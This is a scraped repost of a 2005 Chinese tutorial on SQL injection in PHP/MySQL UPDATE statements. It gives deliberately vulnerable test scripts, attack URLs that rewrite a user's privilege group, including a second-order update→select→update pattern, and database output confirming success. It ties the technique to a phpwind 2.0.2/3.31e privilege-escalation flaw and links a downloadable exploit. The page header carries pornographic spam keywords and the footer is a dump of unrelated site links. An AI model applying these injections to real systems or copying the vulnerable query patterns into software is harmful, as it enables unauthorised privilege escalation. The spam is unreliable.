电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

UPDATE注射(mysql+php)的兩個模式

瀏覽:3日期:2024-01-09 08:56:31

本文作者:SuperHei文章性質:原創發布日期:2005-08-14

一、測試環境網管下載dl.bitscn.com

OS: Windowsxp sp2php: php 4.3.10mysql 4.1.9apache 1.3.33

二、測試數據庫結構

-- 數據庫: `test`--

-- --------------------------------------------------------

---- 表的結構 `userinfo`--網管網www_bitscn_com

CREATE TABLE `userinfo` (`groudid` varchar(12) NOT NULL default '1',`user` varchar(12) NOT NULL default 'heige',`pass` varchar(122) NOT NULL default '123456') TYPE=MyISAM DEFAULT CHARSET=utf8;網管u家u.bitsCN.com

---- 導出表中的數據 `userinfo`--

INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')

三、測試模式

1、變量沒有帶''或''中國網管聯盟bitsCN.com

<?php//test1.php Mod1$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數據庫連接失敗');中國網管論壇bbs.bitsCN.com

$sql = 'update userinfo set pass=$p where user='heige'';//<--$P沒有使用單引號

$result = mysql_db_query($dbname, $sql);$userinfo = mysql_fetch_array($result);中國網管論壇bbs.bitsCN.com

echo '<p>SQL Query:$sql<p>';?>

腳本里只是修改 user='heige' 的 pass,如果 groudid 表示用戶的權限等級,我們的目的就是通過構造 $p 來達到修改 groupid 的目的,那么我們提交:

http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查詢:

mysql> select * from userinfo;+---------+-------+--------+| groudid | user | pass |+---------+-------+--------+| 1 | heige | 123456 |+---------+-------+--------+1 row in set (0.01 sec)

用戶heige的groudid又2改為1了 :)

所以我們可以得到沒有''或''update的注射是可以成功的,這個就是我們的模式1。

2、變量帶''或''

<?php//test2.php$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數據庫連接失敗');

$sql = 'update userinfo set pass='$p' where user='heige'';//<--$P使用單引號中國網管論壇bbs.bitsCN.com

$result = mysql_db_query($dbname, $sql);$userinfo = mysql_fetch_array($result);網管論壇bbs_bitsCN_com

echo '<p>SQL Query:$sql<p>';?>

為了關閉'我們構造$p應該為123456',groudid='2提交:中國網管論壇bbs.bitsCN.com

http://127.0.0.1/test2.php?p=123456',groudid='1

在gpc=on的情況下'變成了',提交的語句變成:

SQL Query:update userinfo set pass='123456',groudid='1' where user='heige'

mysql查詢:

mysql> select * from userinfo;+---------+-------+--------------------+| groudid | user | pass |+---------+-------+--------------------+| 2 | heige | 123456',groudid='1 |+---------+-------+--------------------+1 row in set (0.00 sec)網管bitscn_com

groudid并沒有被修改。那么在變量被''或''時 就完全沒有被注射呢?不是 下面我們看模式2:

<?php//test3.php Mod2$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數據庫連接失敗');

$sql = 'update userinfo set pass='$p' where user='heige'';//<--$P使用單引號網管u家u.bitscn@com

$result = mysql_db_query($dbname, $sql);mysql_fetch_array($result); //$p的數據寫入數據庫

$sql= 'select pass from userinfo where user='heige'';$result = mysql_db_query($dbname, $sql);$userinfo=mysql_fetch_array($result);

echo $userinfo[0]; //把pass查詢輸出給$userinfo[0]

$sql ='update userinfo set pass='$userinfo[0]' where user='heige'';$result = mysql_db_query($dbname, $sql);mysql_fetch_array($result); //把$userinfo[0] 再次update中國網管聯盟bitsCN.com

?>

我們測試下,提交:網管bitscn_com

http://127.0.0.1/test3.php?p=123456',groudid='1

回mysql查詢下 :網管論壇bbs_bitsCN_com

mysql> select * from userinfo;+---------+-------+--------+| groudid | user | pass |+---------+-------+--------+| 1 | heige | 123456 |+---------+-------+--------+1 row in set (0.00 sec)

HaHa~~ 成功注射 修改groudid為1。 這個就是我們的模式2了,簡單的描敘如下:

update --> select --> update

四、實際模式

模式1:缺

模式2:phpwind 2.0.2和3.31e 權限提升漏洞

漏洞分析

update (profile.php 注射變量為$proicon update語句里為,icon='$userdb[icon]')↓select (jop.php)↓updtate (jop.php)網管論壇bbs_bitsCN_com

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe

五、鳴謝

特別感謝saiy等朋友的討論和幫助。Thanks!!

標簽: PHP
主站蜘蛛池模板: 浙江自考_浙江自学考试网 | 体感VRAR全息沉浸式3D投影多媒体展厅展会游戏互动-万展互动 | 液氮罐_液氮容器_自增压液氮罐_杜瓦瓶_班德液氮罐厂家 | 骁龙云呼电销防封号系统-axb电销平台-外呼稳定『免费试用』 | Brotu | 关注AI,Web3.0,VR/AR,GPT,元宇宙区块链数字产业 | 气动调节阀,电动调节阀,自力式压力调节阀,切断阀「厂家」-浙江利沃夫自控阀门 | 自动钻孔机-全自动数控钻孔机生产厂家-多米(广东)智能装备有限公司 | 浙江建筑资质代办_二级房建_市政_电力_安许_劳务资质办理公司 | CXB船用变压器-JCZ系列制动器-HH101船用铜质开关-上海永上船舶电器厂 | 昆明网络公司|云南网络公司|昆明网站建设公司|昆明网页设计|云南网站制作|新媒体运营公司|APP开发|小程序研发|尽在昆明奥远科技有限公司 | lcd条形屏-液晶长条屏-户外广告屏-条形智能显示屏-深圳市条形智能电子有限公司 | 小程序开发公司_APP开发多少钱_软件开发定制_微信小程序制作_客户销售管理软件-济南小溪畅流网络科技有限公司 | 置顶式搅拌器-优莱博化学防爆冰箱-磁驱搅拌器-天津市布鲁克科技有限公司 | 广东青藤环境科技有限公司-水质检测 | 真空吸污车_高压清洗车厂家-程力专用汽车股份有限公司官网 | 艾默生变频器,艾默生ct,变频器,ct驱动器,广州艾默生变频器,供水专用变频器,风机变频器,电梯变频器,艾默生变频器代理-广州市盟雄贸易有限公司官方网站-艾默生变频器应用解决方案服务商 | 防火阀、排烟防火阀、电动防火阀产品生产销售商-德州凯亿空调设备有限公司 | 哈希PC1R1A,哈希CA9300,哈希SC4500-上海鑫嵩实业有限公司 | 深圳南财多媒体有限公司介绍 | 无尘烘箱_洁净烤箱_真空无氧烤箱_半导体烤箱_电子防潮柜-深圳市怡和兴机电 | 大通天成企业资质代办_承装修试电力设施许可证_增值电信业务经营许可证_无人机运营合格证_广播电视节目制作许可证 | ASA膜,ASA共挤料,篷布色母料-青岛未来化学有限公司 | 洗地机_全自动洗地机_手推式洗地机【上海滢皓环保】 | 宝鸡市人民医院| MTK核心板|MTK开发板|MTK模块|4G核心板|4G模块|5G核心板|5G模块|安卓核心板|安卓模块|高通核心板-深圳市新移科技有限公司 | 冰晶石|碱性嫩黄闪蒸干燥机-有机垃圾烘干设备-草酸钙盘式干燥机-常州市宝康干燥 | 圣才学习网-考研考证学习平台,提供万种考研考证电子书、题库、视频课程等考试资料 | 自动化生产线-自动化装配线-直流电机自动化生产线-东莞市慧百自动化有限公司 | 钛合金标准件-钛合金螺丝-钛管件-钛合金棒-钛合金板-钛合金锻件-宝鸡远航钛业有限公司 | 报警器_家用防盗报警器_烟雾报警器_燃气报警器_防盗报警系统厂家-深圳市刻锐智能科技有限公司 | 热闷罐-高温罐-钢渣热闷罐-山东鑫泰鑫智能热闷罐厂家 | 聚丙烯酰胺_厂家_价格-河南唐达净水材料有限公司 | 比亚迪叉车-比亚迪电动叉车堆垛车托盘车仓储叉车价格多少钱报价 磁力去毛刺机_去毛刺磁力抛光机_磁力光饰机_磁力滚抛机_精密金属零件去毛刺机厂家-冠古科技 | POS机官网 - 拉卡拉POS机免费办理|官网在线申请入口 | 选矿设备,选矿生产线,选矿工艺,选矿技术-昆明昆重矿山机械 | 食品无尘净化车间,食品罐装净化车间,净化车间配套风淋室-青岛旭恒洁净技术有限公司 | 英超直播_英超免费在线高清直播_英超视频在线观看无插件-24直播网 | 交流伺服电机|直流伺服|伺服驱动器|伺服电机-深圳市华科星电气有限公司 | 东莞螺丝|东莞螺丝厂|东莞不锈钢螺丝|东莞组合螺丝|东莞精密螺丝厂家-东莞利浩五金专业紧固件厂家 | 首页 - 张店继勇软件开发工作室| 磁力去毛刺机_去毛刺磁力抛光机_磁力光饰机_磁力滚抛机_精密金属零件去毛刺机厂家-冠古科技 |